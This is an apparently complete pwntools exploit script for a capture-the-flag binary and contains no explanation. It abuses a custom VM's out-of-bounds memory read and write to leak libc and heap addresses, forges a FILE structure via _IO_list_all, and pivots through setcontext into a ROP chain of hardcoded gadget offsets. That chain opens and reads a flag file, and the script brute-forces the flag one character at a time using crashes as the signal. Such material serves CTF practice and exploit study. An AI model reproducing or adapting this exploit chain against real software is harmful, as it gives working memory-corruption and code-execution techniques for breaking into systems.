from pwn import * import sys
file = "./pwn"
elf = ELF(file)
def ru(string): sh.recvuntil(string) def dbg(): if len(sys.argv) > 1 and sys.argv[1] == 'r': return gdb.attach(sh) pause() def sl(content): sh.sendline(content) def itr(): sh.interactive() context.log_level = 'debug' def get_heap(): res = 0 res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00')) return res def get_libc(): res = 0 res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00')) return res def get_tcache(): res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00")) return res
def check_cmd(): ru("Now check your cmd:") pay = "LOGIN:root\naaaaa:&&h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT" sl(pay)
def mov_imm_to_reg(reg, imm): pay = p8(0x12) + p8(1) + p8(reg) + p64(imm) return pay def write_mem(reg1, reg2): pay = p8(0x12) + p8(16) + p8(reg1) + p8(reg2) return pay def read_mem(reg1, reg2): pay = p8(0x12) + p8(8) + p8(reg1) + p8(reg2) return pay
def oob_read(reg, offset): pay = p8(0x12) + p8(4) + p8(reg) + p8(offset) return pay
def reset_stack(size): pay = p8(0x14) + p32(size) return pay
def add_imm(reg, imm): pay = p8(0x61) + p8(1) + p8(reg) + p64(imm) return pay def sub_imm(reg, imm): pay = p8(0x63) + p8(1) + p8(reg) + p64(imm) return pay def push_imm(value): pay = p8(0xb4) + p8(1) + p64(value) return pay def push_reg(reg): pay = p8(0xb4) + p8(2) + p8(0) return pay def mov_reg_to_reg(reg1, reg2): return oob_read(reg1, reg2)
def func(guess_char, guess_offset): global sh sh = process(file) libc = ELF("./libc-2.31.so") check_cmd() ru("Man!what can I say?hahaha:") pay = reset_stack(0x600)+reset_stack(0x700) pay += oob_read(1, 8) pay += oob_read(2, 14) pay += add_imm(2, 0x590) pay += add_imm(1, 0x100-0x30) pay += write_mem(2, 1)
pay += mov_reg_to_reg(6, 1) pay += mov_reg_to_reg(5, 2)
pay += add_imm(6, 0x100) pay += add_imm(1, 8) pay += write_mem(1, 6) pay += sub_imm(6, 0x100)
pay += add_imm(1, 0x28-8) pay += mov_imm_to_reg(7, 1) pay += write_mem(1, 7)
magic = 0x151990 offset = libc.sym['_IO_list_all'] - magic if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, offset)
pay += add_imm(1, 0x68-0x28) pay += write_mem(1, 5)
pay += add_imm(1, 0xa0-0x68) pay += write_mem(1, 6)
offset = libc.sym['_IO_list_all'] - libc.sym['_IO_wfile_jumps'] if offset > 0 : pay += sub_imm(2, offset) else: pay += add_imm(2, -offset) pay += add_imm(1, 0xd8-0xa0) pay += write_mem(1, 2)
pay += add_imm(1, 0xe0-0xd8) pay += write_mem(1, 6)
pay += add_imm(1, 0x100-0xe0) pay += add_imm(1, 0x120-0x100) offset = magic - (libc.sym['setcontext'] + 61) if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, offset) pay += write_mem(1, 5)
ret = 0x0000000000022679 pay += mov_reg_to_reg(6, 1) pay += add_imm(1, 0x1a0-0x120) pay += add_imm(6, 0x200-0x120) pay += write_mem(1, 6) pay += add_imm(1, 0x1a8-0x1a0) offset = (libc.sym['setcontext'] + 61) - ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x1b0-0x1a8) num = u64(b'flag'.ljust(8, b'\x00')) pay += mov_imm_to_reg(7, num) pay += write_mem(1, 7) pay += mov_reg_to_reg(6, 1) pop_rdi_ret = 0x0000000000023b6a pop_rsi_ret = 0x000000000002601f pop_rdx_ret = 0x0000000000142c92 pop_rax_ret = 0x0000000000036174 syscall_pop_ret = 0x47656 syscall = 0x630a9 add_rsp0x60_pop_rbp_ret = 0x0000000000115097 pop_rbx_ret = 0x000000000002fdaf pop_rbp_ret = 0x00000000000226c0 pop_rsp_ret = 0x000000000002f70a pay += add_imm(1, 0x200-0x1b0) offset = ret - pop_rdi_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x208-0x200) pay += write_mem(1, 6) pay += add_imm(1, 0x210-0x208) offset = pop_rdi_ret - pop_rsi_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x218-0x210) pay += mov_imm_to_reg(7, 0) pay += write_mem(1, 7)
pay += add_imm(1, 0x220-0x218) offset = pop_rsi_ret - pop_rax_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x228-0x220) pay += mov_imm_to_reg(7, 2) pay += write_mem(1, 7) pay += add_imm(1, 0x230-0x228) offset = pop_rax_ret - syscall if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x238-0x230) offset = syscall - pop_rdi_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x240-0x238) pay += mov_imm_to_reg(7, 3) pay += write_mem(1, 7)
pay += add_imm(1, 0x248-0x240) offset = pop_rdi_ret - pop_rsi_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5) pay += add_imm(1, 0x250-0x248) pay += add_imm(6, 0x1000) pay += sub_imm(6, guess_offset) pay += write_mem(1, 6) pay += add_imm(6, guess_offset)
pay += add_imm(1, 0x258-0x250) offset = pop_rsi_ret - pop_rdx_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x260-0x258) pay += mov_imm_to_reg(7, guess_offset+1) pay += write_mem(1, 7)
pay += add_imm(1, 0x268-0x260) offset = pop_rdx_ret - pop_rax_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(1, 0x270-0x268) pay += mov_imm_to_reg(7, 0) pay += write_mem(1, 7)
pay += add_imm(1, 0x278-0x270) offset = pop_rax_ret - syscall if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5)
pay += add_imm(6, 0x30) pay += mov_imm_to_reg(7, ord(guess_char)) pay += write_mem(6, 7) pay += sub_imm(6, 0x30)
pay += add_imm(6, 0x1000) offset = syscall - 0xdd400 if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset)
pay += write_mem(6, 5) for _ in range(0x8): pay += add_imm(6, 8) pay += write_mem(6, 5) pay += sub_imm(6, 0x40) offset = 0xdd400 - syscall if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset)
pay += sub_imm(6, 0x1000)
offset = syscall - 0x223190 if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += mov_reg_to_reg(3, 5) pay += read_mem(3, 3)
pay += add_imm(6, 0x1000-8*ord(guess_char)) pay += mov_reg_to_reg(4, 6) pay += sub_imm(6, 0x1000-8*ord(guess_char))
pay += add_imm(1, 8) offset = 0x223190 - pop_rdi_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5) pay += mov_imm_to_reg(7, 1000) pay += add_imm(1, 8) pay += write_mem(1, 7)
pay += add_imm(1, 8) offset = pop_rdi_ret - pop_rsp_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(1, 5) pay += add_imm(1, 8) pay += sub_imm(6, 0x68) pay += write_mem(1, 6)
offset = pop_rsp_ret - add_rsp0x60_pop_rbp_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5) pay += add_imm(6, 0x68)
pay += add_imm(6, 8) offset = add_rsp0x60_pop_rbp_ret - pop_rbx_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5) pay += add_imm(6, 8) pay += mov_imm_to_reg(7, ord(guess_char)) pay += write_mem(6, 7)
pay += add_imm(6, 8) offset = pop_rbx_ret - pop_rax_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5)
pay += add_imm(6, 8) offset = pop_rax_ret - 0xdd400 if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5)
pay += add_imm(6, 8) pay += add_imm(3, 0x3a31) pay += write_mem(6, 3) pay += sub_imm(3, 0x3a31)
pay += add_imm(6, 8*8) offset = 0xdd400 - pop_rdi_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5)
pay += add_imm(6, 8) pay += mov_imm_to_reg(7, 0) pay += write_mem(6, 7)
pay += add_imm(6, 8) offset = pop_rdi_ret - pop_rsi_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5)
pay += add_imm(6, 8) pay += mov_reg_to_reg(7, 6) pay += add_imm(7, 0x1000) pay += write_mem(6, 7)
pay += add_imm(6, 8) offset = pop_rsi_ret - pop_rdx_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5)
pay += add_imm(6, 8) pay += mov_imm_to_reg(7, 0x100) pay += write_mem(6, 7)
pay += add_imm(6, 8) offset = pop_rdx_ret - pop_rax_ret if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5)
pay += add_imm(6, 8) pay += mov_imm_to_reg(7, 0) pay += write_mem(6, 7)
pay += add_imm(6, 8) offset = pop_rax_ret - syscall if offset > 0: pay += sub_imm(5, offset) else : pay += add_imm(5, -offset) pay += write_mem(6, 5)
pay += p8(0) print("length ==", hex(len(pay)))
sl(pay)
res = sh.recvuntil("Segmentation", timeout=0.5) sh.close()
if __name__ == "__main__": strs = '8902134567-+{}qwertyuiopasdfghjklzxcvbnm!@#$%^&*~,.;|' flag = 'flag{' for i in range(0x100): for ch in strs: print(flag) try: func(ch, i+5) flag += ch if ch == '}': exit(0) break except: continue
|